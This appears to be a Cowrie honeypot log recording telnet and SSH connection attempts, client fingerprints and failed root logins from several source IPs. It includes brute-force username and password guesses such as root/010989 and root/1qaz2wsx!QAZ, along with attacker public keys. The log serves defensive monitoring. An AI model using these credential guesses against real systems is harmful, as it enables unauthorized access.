{"eventid":"cowrie.session.closed","duration":37.477110862731934,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:18.074276Z","src_ip":"192.119.13.58","session":"4f8fdc915cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43972,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d7171b0cc1","protocol":"telnet","message":"New connection: 192.119.13.58:43972 (10.17.0.5:23) [session: 70d7171b0cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:20.913810Z"}
{"eventid":"cowrie.session.closed","duration":37.728829860687256,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:22.315399Z","src_ip":"192.119.13.58","session":"1a6025570e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.24013042449951,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:23.027034Z","src_ip":"192.119.13.58","session":"7f7fb3fa15bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":50100,"dst_ip":"10.17.0.5","dst_port":22,"session":"710d06a89c09","protocol":"ssh","message":"New connection: 62.133.62.83:50100 (10.17.0.5:22) [session: 710d06a89c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:23.105055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:23.109229Z","src_ip":"62.133.62.83","session":"710d06a89c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:23.194355Z","src_ip":"62.133.62.83","session":"710d06a89c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010989","message":"login attempt [root/010989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:23.445353Z","src_ip":"62.133.62.83","session":"710d06a89c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:24.527249Z","src_ip":"62.133.62.83","session":"710d06a89c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.17244577407837,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:25.131616Z","src_ip":"192.119.13.58","session":"1e62c73b6d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.75748300552368,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:25.376664Z","src_ip":"192.119.13.58","session":"41bcd0287a4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.026599168777466,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:25.860132Z","src_ip":"192.119.13.58","session":"6d448a03c0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33042,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5067047531","protocol":"telnet","message":"New connection: 192.119.13.58:33042 (10.17.0.5:23) [session: ed5067047531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:26.003242Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38112,"dst_ip":"10.17.0.5","dst_port":23,"session":"9afd36baa2c4","protocol":"telnet","message":"New connection: 192.119.13.58:38112 (10.17.0.5:23) [session: 9afd36baa2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:26.241228Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":36535,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6fc9fe3d220","protocol":"telnet","message":"New connection: 186.195.16.41:36535 (159.203.135.109:23) [session: c6fc9fe3d220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:30.095237Z"}
{"eventid":"cowrie.session.closed","duration":38.842949628829956,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:30.265376Z","src_ip":"192.119.13.58","session":"487be95bae36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.015570640563965,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:30.426633Z","src_ip":"192.119.13.58","session":"0317ced7dba6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56016,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7744862b4f","protocol":"telnet","message":"New connection: 192.119.13.58:56016 (10.17.0.5:23) [session: 0e7744862b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:30.596203Z"}
{"eventid":"cowrie.session.closed","duration":1.5241038799285889,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:31.619209Z","src_ip":"186.195.16.41","session":"c6fc9fe3d220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39464,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ea55a58bbe","protocol":"telnet","message":"New connection: 192.119.13.58:39464 (10.17.0.5:23) [session: 33ea55a58bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:33.480417Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43556,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a1664f6e802","protocol":"telnet","message":"New connection: 192.119.13.58:43556 (10.17.0.5:23) [session: 9a1664f6e802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:41.340031Z"}
{"eventid":"cowrie.session.closed","duration":33.15059304237366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:41.889097Z","src_ip":"192.119.13.58","session":"0534813792bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.447925329208374,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:41.894058Z","src_ip":"192.119.13.58","session":"e633715090b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.38754844665527,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:42.120224Z","src_ip":"192.119.13.58","session":"6d4c732955fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56162,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ff748c51a88","protocol":"telnet","message":"New connection: 192.119.13.58:56162 (10.17.0.5:23) [session: 3ff748c51a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:44.385850Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56500,"dst_ip":"10.17.0.5","dst_port":23,"session":"54bacf6bb5d5","protocol":"telnet","message":"New connection: 192.119.13.58:56500 (10.17.0.5:23) [session: 54bacf6bb5d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:51.478506Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":38154,"dst_ip":"10.17.0.5","dst_port":22,"session":"b071f44034db","protocol":"ssh","message":"New connection: 193.32.162.145:38154 (10.17.0.5:22) [session: b071f44034db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:53.605899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:53.612568Z","src_ip":"193.32.162.145","session":"b071f44034db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:53.735507Z","src_ip":"193.32.162.145","session":"b071f44034db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:54.081283Z","src_ip":"193.32.162.145","session":"b071f44034db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:55.186194Z","src_ip":"193.32.162.145","session":"b071f44034db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":42970,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d43b12f1842","protocol":"ssh","message":"New connection: 45.78.204.254:42970 (10.17.0.5:22) [session: 6d43b12f1842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:57.596531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:57.602824Z","src_ip":"45.78.204.254","session":"6d43b12f1842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:57.845738Z","src_ip":"45.78.204.254","session":"6d43b12f1842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.85143756866455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:57:58.092558Z","src_ip":"192.119.13.58","session":"9afd36baa2c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":39648,"dst_ip":"10.17.0.5","dst_port":22,"session":"674e4a2e23d4","protocol":"ssh","message":"New connection: 154.16.115.17:39648 (10.17.0.5:22) [session: 674e4a2e23d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.051865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.058358Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.086997Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!QAZ","message":"login attempt [root/1qaz2wsx!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.182302Z","src_ip":"45.78.204.254","session":"6d43b12f1842","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:25:4f:e7:77:7a:cf:07:60:5d:0d:b5:9a:2c:7a:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcNfigo5ehuzpCbMZQmV5lMbWKhkJfJfQA92l9SMyh62MndlkAjrhKYzBDtFJP1JTtznLLb/phgVBay4C4Rf7J9CIvfHiKhfQFaiQ0kQqB00mKjqn8guAe7Gg1+2moIe74I+o5LR+0woWtTNDozpGKCP6y4Tt5CVvdp7WFdybz2vjaD6nRmt6yxKzuC7wO8NrulYt8/s38aDwsmadg3xGle6aESBwyxJs4x4unJ0BHG56gne245b6P7V95s+N1a6Fo0pnO7jBtxzCAQmQVMiuvUzdTjwWjBJCJrO1rVjMhZ/cSZZdL9FWHPHJD0/AF0pVKVp+JZc+VnIr4yyl5Pipr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:25:4f:e7:77:7a:cf:07:60:5d:0d:b5:9a:2c:7a:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.201989Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:25:4f:e7:77:7a:cf:07:60:5d:0d:b5:9a:2c:7a:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcNfigo5ehuzpCbMZQmV5lMbWKhkJfJfQA92l9SMyh62MndlkAjrhKYzBDtFJP1JTtznLLb/phgVBay4C4Rf7J9CIvfHiKhfQFaiQ0kQqB00mKjqn8guAe7Gg1+2moIe74I+o5LR+0woWtTNDozpGKCP6y4Tt5CVvdp7WFdybz2vjaD6nRmt6yxKzuC7wO8NrulYt8/s38aDwsmadg3xGle6aESBwyxJs4x4unJ0BHG56gne245b6P7V95s+N1a6Fo0pnO7jBtxzCAQmQVMiuvUzdTjwWjBJCJrO1rVjMhZ/cSZZdL9FWHPHJD0/AF0pVKVp+JZc+VnIr4yyl5Pipr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.206032Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:24:b9:d9:93:3d:e4:4f:83:1e:44:c8:db:28:03:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6O3CC0CH5Mofr/z+2SzKDiTa3BZNhcKCccPJdA5QOfy2PP8768oIZFMPFyuQAlE72kNHImhB3F14bOdB42Wh58a7S4lUOe5ES4WeZVp/IRlk7gfUC8hODt0i4M2VeuDxs1IgeK55PuHWuEtjHMAuYOOWL1Bvqez1ecW3ws/FYeIQqr9ZVj1WjEOtWxDqoZ/kcvw9g3OWpfBG6TvRRNlG5jKbmqwdCWXHIQMegHKLz9YDV0LFjnhxl5zSSZGjqu9NQTSD8zdyAssvYG6Bll9jHZLtNn76075ol02A8gAP/Nth/BpKFPcutnKKs1XC0+AmuUd0jz4iqLzpwpNoudksr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:24:b9:d9:93:3d:e4:4f:83:1e:44:c8:db:28:03:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.235589Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:24:b9:d9:93:3d:e4:4f:83:1e:44:c8:db:28:03:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6O3CC0CH5Mofr/z+2SzKDiTa3BZNhcKCccPJdA5QOfy2PP8768oIZFMPFyuQAlE72kNHImhB3F14bOdB42Wh58a7S4lUOe5ES4WeZVp/IRlk7gfUC8hODt0i4M2VeuDxs1IgeK55PuHWuEtjHMAuYOOWL1Bvqez1ecW3ws/FYeIQqr9ZVj1WjEOtWxDqoZ/kcvw9g3OWpfBG6TvRRNlG5jKbmqwdCWXHIQMegHKLz9YDV0LFjnhxl5zSSZGjqu9NQTSD8zdyAssvYG6Bll9jHZLtNn76075ol02A8gAP/Nth/BpKFPcutnKKs1XC0+AmuUd0jz4iqLzpwpNoudksr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.240041Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:9e:6b:33:32:bf:71:3a:84:6f:db:cb:ce:d3:cf:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPd3Nl7vVZaK2+ENywMPZD7XvIluOluXb/NTsZgB7b3IcumKN7kwTKUX4ptn5pK9u5MQbR0vh4VuCiT2ewIzw0numMkUXjlCub4AH6cJzFiei6vmQLfHiq29uNiw8BSpDBTTgT1kSrBvbF3w8GKW24IKrGU1aRshBdpfaDpN5UU0ncx/pt3ru8cB2/H/1Lg2ORpmMX6iVyKIn900eMfSXnqErrUEe1PWuXB1DMFVwWpRrCuvSVFlTBZ8moOR7QYDEvpx5+Wo7tRwaDjN/h5J78+dMedIyw38XoKd4ACx4HKRG3dL4Z7WL/+VnWPUL4U444rr7vBgPkTF0Rw30Jhqan","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:9e:6b:33:32:bf:71:3a:84:6f:db:cb:ce:d3:cf:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.269168Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:9e:6b:33:32:bf:71:3a:84:6f:db:cb:ce:d3:cf:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPd3Nl7vVZaK2+ENywMPZD7XvIluOluXb/NTsZgB7b3IcumKN7kwTKUX4ptn5pK9u5MQbR0vh4VuCiT2ewIzw0numMkUXjlCub4AH6cJzFiei6vmQLfHiq29uNiw8BSpDBTTgT1kSrBvbF3w8GKW24IKrGU1aRshBdpfaDpN5UU0ncx/pt3ru8cB2/H/1Lg2ORpmMX6iVyKIn900eMfSXnqErrUEe1PWuXB1DMFVwWpRrCuvSVFlTBZ8moOR7QYDEvpx5+Wo7tRwaDjN/h5J78+dMedIyw38XoKd4ACx4HKRG3dL4Z7WL/+VnWPUL4U444rr7vBgPkTF0Rw30Jhqan","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:58:01.273744Z","src_ip":"154.16.115.17","session":"674e4a2e23d4","protocol":"ssh"}
